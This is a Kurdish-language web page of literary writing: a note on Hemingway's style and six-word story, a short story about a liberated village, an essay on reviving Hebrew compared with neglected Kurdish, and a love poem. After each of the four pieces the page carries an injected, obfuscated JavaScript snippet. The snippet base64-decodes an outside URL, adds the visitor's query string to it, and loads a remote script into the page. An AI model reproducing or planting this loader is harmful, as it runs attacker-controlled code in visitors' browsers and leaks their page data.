جلال أحمد صالح

ئیرنست همنگوای (1899-2 1961)؛ یێ‌ ناڤدار ب (بابا) رۆماننڤیس و چیرۆكنڤیس و وەرزشڤانەكی نادڤدارێ‌ ئەمریكیە، خەلاتێ‌ نوبلێ‌ ل سالا 1954 وەرگرت، ب ستایل و رێبازەكا نڤیسینا جودا یێ بەرنیاس بوو و كارتێكرنەكا مەزن ل قادا ئەدبیاتا جیهانێ‌ كر، ئەو بخوە وەسفا ستایلێ خوە دكت و دبێژت تیۆرا خوە «تیۆراچیایێ‌ بەڤرێ‌«: «ئەز وەكی چیایێ بەفرێ مە، بتنێ كۆپیتك یا دیار و بەرچاڤە، هەر حەفت پارچێن دی یێن ل ژێر ئاڤێ دا ، كورتترین چیڕوك د مێژوویا ئەدەبییاتا جیهانێ دا نڤیسی، كو ئەو كورتە چیرۆكا وی ژ شەش پەیڤان بتنێ پێك دهێت (for sale: baby Shose, never used )، «بو فرۆتنێ یە: پێلاڤا زاروكەكی یە، چجاران بكار نەهاتیە».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

عزەت یوسف

سپێدەكا زوی بوو، گوندیان های ژ هەلەخەكا شەپڵی ژ دەرڤە هەبوو. سەربازێن دوژمنی كو خانیەكێ‌ سەرەڤانا گوندی كربوونە بنگەهەكێ‌ لەشكەری، كەلوپەلێن خۆ لێكددان و دپێچان و كارێ‌ بەزینێ‌ دكرن. ئەو سێ‌ مەه بوون گوندێ‌ وان یێ‌ داگیر كری. نها دێ‌ ب شەرمەزاری دەركەڤن. بەریا سێ‌ مەهان دەمێ‌ ب شەڕ هاتینە د گوندی دا دگۆتن گوند ئێدی یێ‌ مەیە و هەتا مرنێ‌ دەست ژێ‌ بەرنادەین. بێ‌ شەڕ ب خافلەتی و ب تڕس وەكی تیری رەڤین. ئەوان دڤیان بەربەرە خەلكێ‌ گوندی هەمیا بكەنە جاندەك، لێ‌ نزا چەوا تڕس و رەڤ كەتێ‌ و بەزین بەری ئەو ببنە جاندەك.
گوندی چوونە د بنگەهێ‌ وان دا، دیت خوارنا وان یا حازرە لێ‌ نەگەهشتینە بكەڕێفن، قڕمكێن جگارێن وان هێشتا دێكێلا ژێ‌ دچیت، دیارە پەیوەندیەكا بلەز یا گەهشتیێ‌ و ب هەواركی باروملێن خۆ یێن راكرین و ڤەكشیاین.
دەلیڤێن داویێ‌ یێن ڤەكشیانێ‌ تۆلڤەكرنەك تێدا هەبوو. د رێیا خۆ دا ئاگر بەردانە قوتابخانا گووندی و ل سەر دیوارەكێ‌ وێ‌ نڤێسی بوو یا مین كریە، خانیێن د كەتنە بەرسینگی دسۆتن. پرەكا دەربازبوونێ‌ ل سەر روباری هەبوو ئەو ژی هاڤێتە ئاڤێ‌.
هەر ئێڤاری هێزێن نیشتمانی گەهشتنە گوندی، ئەوان ل گەل گوندیان پێكڤە سرودا نیشتمانی، ئاخا مەیە گۆتن و ئالایێ‌ وەلاتی بلند كرن و ئاهەنگا ئازادیێ‌ گێڕان. گوندیان ژی گوندۆر و ئەو فێقیێ‌ مشە و ناڤدار ل گوندی بۆ خوارنێ‌ پێشكەشی وان كرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

نزار زهێر

زمانێ عیبڕی بەری ١٩٤٨ زمانەكێ مری بوویە، بتنێ ژلایێ زەلامێن ئاینی دناڤ پەرستگەهێن یەهودیان دهاتە بكارئینان، بەلێ پشتی ئیسڕائیلێ ل سالا ١٩٤٨ دەولەتبوونا خۆ ڕاگەهاندی، ئێدی گرنگیەكا زۆر دا زمانێ خۆ یێ دایكێ.
زمانێ عیبڕی ئەڤرۆ بوویە زمانێ جادێ وخەلكێ گشتی بكاردئینیتن، دیسان ل زانكۆیێن ئیسڕائیلی زمانێ عیبڕی ب زمانێ زانستی دهێتەنیاسین..
ل ڤێرێ پرسیار ئەوە؟
چەوا زمانێ عیبڕی ژ زمانەكێ مری وتۆزگرتی بوو زمانێ زانستی ل زانكویێن ئیسڕائیلی؟

ئەو ژی ژ بەر:
١- هەبوونا ئیرادێ.
٢- هەستكرن ب بەرپرسیارەتیێ.
٣- دانانا دەستە ودامەزراوەیێن تایبەت بۆ پێشئێخستنا زمانێ عیبڕی..
٤- ڕاسپاردنا كەسێن ئاكادیمی بۆ ب ڕێڤەبرنا ئەڤێ پڕۆسێسێ..
٥- تەرخانكرنا بۆدجەیەكێ پێدڤی..
٦- گرنگیدان ب چالاكیێن وەرگێرانێ، دەولەمەندكرنا پەرتووكخانێ ب ژێدەر و وپەرتۆكێن عیبڕی د هەمی بۆاراندا.

سەبارەت زمانێ كوردی:
زمانێ كوردی زمانەكێ ساخە، ژبەركو ژلایێ خەلكێ گشتی دهێتە بكارئینان..
زمانێ كوردی دەولەمەندە، ژبەركو ژ گەلەك شێوەزاران پێكدهێتن، ئەڤە ژی نیشانا دەولەمەندیا زمانی یە ب پەیڤان..
مادەم وەسایە!!
بۆچی نەشیاین زمانێ كوردی پشتی سەرهلدانێ پێشبێخین، بكەینە زمانەكێ زانستی؟

ئەو ژی ژبەر:
١- نەبوونا ئیرادێ.
٢- هەستنەكرن ب بەرپرسیارەتیێ.
٣- نەبوونا دەستە ودامەزراوەیێن پێدڤی، بۆ پێشئێخستنا زمانی..
٤- نەبوونا بۆدجەیەكا پێدڤی بۆ ئەڤێ چەندێ.
٥- نە ڕاسپاردنا كەسێن ئەكادیمی وەكو پێدڤی.
٦- گرنگی نەدان ب چالاكیێن وەرگێرانێ وەكو پێدڤی د بوارێن جودا دا، پەرتووكخانێن زانكۆ وپەیمانگەهان زۆر د هەژارن ب ژێدەر وپەرتووكێن كوردی، نەخاسمە ل دەڤەرا بەهدینان..
٧- دژایەتیكرنا زمانێ كوردی ژلیێ تەخەكا مەزن یا ئەكادیمیێن كورد، هەر باوەری ب زمانێ زانستیێ نیشتمانی نینە، دبیت گەلەك جاران زمانێ كوردی ب نیشانا نە سەردەمیێ وپاشڤەمانێ قەلەم بدەن..
پرسیار، ئایا چ گرنگی د زمانێ دایكێ یان زمانێ نەتەوەیدا هەیە؟
زمان ناسنامەیە، ئەگەر زمان نەبیتن، دێ چەوا زانین ئەڤە كوردە یان عەرەبە یان فارسە، لەوما زمان ناسنامەیە..
مللەتێ بێ زمان وەكو وی كەسییە ئەوێ بێ پاسەپۆرت یان بێ ناسنامە دچیتە فڕۆكەخانەیەكێ یان زالگەهەكێ..
بۆچی ناڤێن گەلەك مللەتێن كەڤن ئەڤرۆ نە ماینە؟
ژبەر زمانێن وان نە ماینە، هكە ژلایێ جەستەی ئەو ماینە، وەكی سۆمەری وئەكادی وبابلی..هتد..
لەوما ئەگە زمانێ كوردی پێش نەئێخین، كورد دێ ناسناما خۆ یا نەتەوەی دناڤ جیهانگیریێدا بەرزەكەن، زێدەباری ئەو دژایەتیا ژلایێ مللەتێن دەردۆر.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

خورشید توفیق باكۆزی

كولیلكا باغێ دلێ من
من نەدزانی
ئاگرێ ئشق و ئەڤینا تە
ددلێ مندا هندەیێ گەرم و دژواڕە
من نەدزانی
هۆسا زویكا دێ من هێلی و
دێ ژڤێ بانیا رندا پەسارێ دلێ من
دێ چی و باركەی..
دێ دلێ من ژ پەل و ژانان
كەیە كورگەهەكا شاڕیای
دێ بۆ وارەك دوور خوە كاركەی
ئۆغڕەك دوور.
دێ هزرێ من دگێلەشۆكا
بیرەوەریێن ئشقاخودا
دهڕەبایێ ئشقێ پێچی و
دگەل بێدەرا خەمێن خودا
هلاڤێژی و دێ دەیە بای.
دێ منێ ژار
دڤێ زیندانا بێی تەبوون و
دڤێ زیندانا دوراتی و خەریبیاخودا
بەند و ژاركەی..
دێ دلێ من
دانیە سەرپەلێن كەدەڕێ و
كەیە ئێتوون
دشەوتێدا شەوتینی..
دێ جانێ من
دخەم و ژانێن خەریبیێ دا
ددوركەفتن و دكۆچبەریێ دا
مینا شەمالك و شەڤ چڕا
هێدی هێدی بهوژینی..
مینا جەستەك قەڕەموكی
دگێژەڤانكا ئشقاخودا
ژسەری هەتا بنێ پیا من هەژینی.
هەناسا من دسینگێ مندا
ڤەگڤێشی و گڤێشیەڤە و
دقڕكا مندا خەندقینی..
ئێدی دێ چی و نائێیە ڤە..
نائێیەڤە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();